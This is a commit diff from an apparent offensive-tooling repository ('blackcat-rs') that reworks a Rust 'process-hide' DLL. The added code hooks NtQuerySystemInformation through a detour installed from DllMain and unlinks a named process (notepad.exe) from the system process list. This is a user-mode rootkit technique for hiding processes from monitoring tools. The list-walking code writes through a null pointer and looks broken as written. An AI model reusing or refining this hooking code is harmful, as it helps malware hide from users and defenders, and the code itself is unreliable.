mirror of
https://github.com/2vg/blackcat-rs
synced 2026-06-08 10:16:29 +00:00
rework process-hide
This commit is contained in:
@@ -8,7 +8,11 @@ edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0.38"
|
||||
detour = "0.7.1"
|
||||
minhook-sys = "0.1.1"
|
||||
ntapi = "0.3.6"
|
||||
winapi = { version = "0.3.9", features = ["libloaderapi", "minwindef"] }
|
||||
winapi = { version = "0.3.9", features = ["libloaderapi", "minwindef", "winuser"] }
|
||||
detour = "0.7.1"
|
||||
|
||||
[lib]
|
||||
name = "hook_cat"
|
||||
path = "src/lib.rs"
|
||||
crate-type = ["dylib"]
|
||||
|
||||
@@ -1,96 +1,117 @@
|
||||
use anyhow::*;
|
||||
use minhook_sys::*;
|
||||
use detour::static_detour;
|
||||
use ntapi::ntexapi::{ NtQuerySystemInformation, SYSTEM_PROCESS_INFORMATION };
|
||||
use winapi::{
|
||||
shared::{
|
||||
minwindef::{ FARPROC },
|
||||
ntdef::{ HANDLE, LARGE_INTEGER, NTSTATUS, PULONG, PVOID, ULONG, UNICODE_STRING }
|
||||
},
|
||||
um::libloaderapi::{ GetModuleHandleA, GetProcAddress }
|
||||
um::{
|
||||
libloaderapi::{ GetModuleHandleA, GetProcAddress },
|
||||
memoryapi::{ VirtualAlloc, VirtualFree },
|
||||
winnt::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE },
|
||||
winuser::{ MessageBoxW, MB_OK },
|
||||
}
|
||||
};
|
||||
|
||||
use std::{ffi::CString, mem::{size_of, size_of_val}, ptr::null_mut};
|
||||
use std::mem::zeroed;
|
||||
|
||||
type SYSTEM_INFORMATION_CLASS = u32;
|
||||
|
||||
struct SYSTEM_PROCESS_INFO {
|
||||
NextEntryOffset: ULONG,
|
||||
NumberOfThreads: ULONG,
|
||||
Reserved: [LARGE_INTEGER; 3],
|
||||
CreateTime: LARGE_INTEGER,
|
||||
UserTime: LARGE_INTEGER,
|
||||
KernelTime: LARGE_INTEGER,
|
||||
ImageName: UNICODE_STRING,
|
||||
BasePriority: ULONG,
|
||||
ProcessId: HANDLE,
|
||||
InheritedFromProcessId: HANDLE
|
||||
}
|
||||
|
||||
unsafe fn detour_NtQuerySystemInformation(SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: PULONG) -> NTSTATUS {
|
||||
let p_current = zeroed::<SYSTEM_PROCESS_INFORMATION>();
|
||||
let p_next = zeroed::<SYSTEM_PROCESS_INFORMATION>();
|
||||
|
||||
let status = NtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
|
||||
println!("debug");
|
||||
|
||||
if SystemInformationClass == 0x39 {
|
||||
let processes = std::slice::from_raw_parts::<SYSTEM_PROCESS_INFORMATION>(SystemInformation as *mut _, ((SystemInformationLength / std::mem::size_of::<SYSTEM_PROCESS_INFORMATION>() as u32)) as usize);
|
||||
|
||||
for process in processes {
|
||||
println!("process: {}", 1);
|
||||
}
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
pub fn hook_init() -> Result<()> {
|
||||
match unsafe { MH_Initialize() } {
|
||||
MH_OK => {
|
||||
println!("done hook init.");
|
||||
Ok(())
|
||||
},
|
||||
_ => { bail!("error on hook init process.") }
|
||||
}
|
||||
}
|
||||
|
||||
pub fn set_hook() -> Result<()> {
|
||||
let module = CString::new::<String>("ntdll.dll".into()).expect("CString::new failed");
|
||||
let api = CString::new::<String>("NtQuerySystemInformation".into()).expect("CString::new failed");
|
||||
|
||||
let hook_fn: FARPROC = detour_NtQuerySystemInformation as unsafe fn(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG) -> NTSTATUS as _;
|
||||
let mut p_ntquery = unsafe { GetProcAddress(GetModuleHandleA(module.as_ptr() as *const _), api.as_ptr() as *const _) } ;
|
||||
let pp_ntquery: *mut FARPROC = &mut p_ntquery as _;
|
||||
|
||||
let status = unsafe { MH_CreateHookApi(e("ntdll.dll").as_ptr(), api.as_ptr(), hook_fn as _,pp_ntquery as _) };
|
||||
|
||||
match status {
|
||||
MH_OK => { },
|
||||
_ => { bail!("could not craete hook. error code: {}", status) }
|
||||
};
|
||||
|
||||
let status = unsafe { MH_EnableHook(hook_fn as _) };
|
||||
|
||||
match status {
|
||||
MH_OK => { },
|
||||
_ => { bail!("could not enable the hook. error code: {}", status) }
|
||||
};
|
||||
|
||||
// unsafe { test_call() };
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn e(source: &str) -> Vec<u16> {
|
||||
source.encode_utf16().chain(Some(0)).collect()
|
||||
}
|
||||
|
||||
unsafe fn test_call() {
|
||||
let sys_class = zeroed::<SYSTEM_INFORMATION_CLASS>();
|
||||
let mut buffer = zeroed::<[u8; 0xFF0000]>();
|
||||
let mut buffer = VirtualAlloc(null_mut(),1024 * 1024,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
|
||||
|
||||
let status = NtQuerySystemInformation(sys_class, &mut buffer as *const _ as *mut _, 0x10000 as u32, std::ptr::null_mut()) as i64;
|
||||
let _ = NtQuerySystemInformation(0x5, buffer, 1024 * 1024, std::ptr::null_mut());
|
||||
}
|
||||
|
||||
println!("call result: {}", status);
|
||||
use std::{iter, mem};
|
||||
use winapi::um::winnt::{ DLL_PROCESS_ATTACH, LPCWSTR };
|
||||
use winapi::um::libloaderapi::{GetModuleHandleW};
|
||||
|
||||
static_detour! {
|
||||
static NtQuerySystemInformationHook: unsafe extern "system" fn(u32, PVOID, ULONG, PULONG) -> NTSTATUS;
|
||||
}
|
||||
|
||||
type FnNtQuerySystemInformation = unsafe extern "system" fn(u32, PVOID, ULONG, PULONG) -> NTSTATUS;
|
||||
|
||||
pub unsafe fn ntquery_hook() -> Result<()> {
|
||||
let target = get_module_function::<FnNtQuerySystemInformation>("ntdll.dll", "NtQuerySystemInformation")?;
|
||||
|
||||
NtQuerySystemInformationHook.initialize(target, detour_NtQuerySystemInformation)?.enable()?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn detour_NtQuerySystemInformation(sys_info_class: u32, sys_info: PVOID, sys_info_length: ULONG, return_length: PULONG) -> NTSTATUS {
|
||||
let status = unsafe { NtQuerySystemInformation(sys_info_class, sys_info, sys_info_length, return_length) };
|
||||
|
||||
if sys_info_class == 0x5 {
|
||||
let p_current: *mut SYSTEM_PROCESS_INFORMATION = null_mut();
|
||||
let mut p_next = unsafe { std::ptr::read::<SYSTEM_PROCESS_INFORMATION>(sys_info as _) };
|
||||
|
||||
unsafe {
|
||||
loop {
|
||||
*p_current = p_next;
|
||||
if (*p_current).NextEntryOffset == 0x0 { break }
|
||||
|
||||
p_next = std::ptr::read::<SYSTEM_PROCESS_INFORMATION>((sys_info as usize + p_next.NextEntryOffset as usize) as *const _);
|
||||
|
||||
let image_name = std::slice::from_raw_parts(p_next.ImageName.Buffer, p_next.ImageName.Length as usize);
|
||||
let detect_image_name = e("notepad.exe");
|
||||
|
||||
if image_name == detect_image_name {
|
||||
if p_next.NextEntryOffset == 0x0 {
|
||||
(*p_current).NextEntryOffset = 0x0;
|
||||
}
|
||||
else {
|
||||
(*p_current).NextEntryOffset = (*p_current).NextEntryOffset + p_next.NextEntryOffset;
|
||||
}
|
||||
|
||||
p_next = *(p_current);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
fn get_module_function<T>(module: &str, symbol: &str) -> Result<T> {
|
||||
let func_address = get_module_symbol_address(module, symbol);
|
||||
if func_address.is_none() { bail!("could not find function. module_name: {}, symbol_name: {}", module, symbol) }
|
||||
Ok(unsafe{ mem::transmute_copy::<usize, T>(&func_address.unwrap()) } as T)
|
||||
}
|
||||
|
||||
fn get_module_symbol_address(module: &str, symbol: &str) -> Option<usize> {
|
||||
let module = e(module);
|
||||
let symbol = CString::new(symbol).unwrap();
|
||||
unsafe {
|
||||
let handle = GetModuleHandleW(module.as_ptr());
|
||||
match GetProcAddress(handle, symbol.as_ptr()) as usize {
|
||||
0 => None,
|
||||
n => Some(n),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
use winapi::shared::minwindef::{BOOL, DWORD, HINSTANCE, LPVOID, TRUE,};
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn DllMain(
|
||||
_module: HINSTANCE,
|
||||
call_reason: DWORD,
|
||||
_reserved: LPVOID,
|
||||
) -> BOOL {
|
||||
if call_reason == DLL_PROCESS_ATTACH {
|
||||
// A console may be useful for printing to 'stdout'
|
||||
// winapi::um::consoleapi::AllocConsole();
|
||||
|
||||
// Preferably a thread should be created here instead, since as few
|
||||
// operations as possible should be performed within `DllMain`.
|
||||
ntquery_hook().is_ok() as BOOL
|
||||
} else {
|
||||
TRUE
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
extern crate process_hide;
|
||||
|
||||
use anyhow::*;
|
||||
|
||||
fn main() -> Result<()> {
|
||||
process_hide::hook_init()?;
|
||||
process_hide::set_hook()?;
|
||||
std::thread::sleep(std::time::Duration::from_millis(30000000));
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user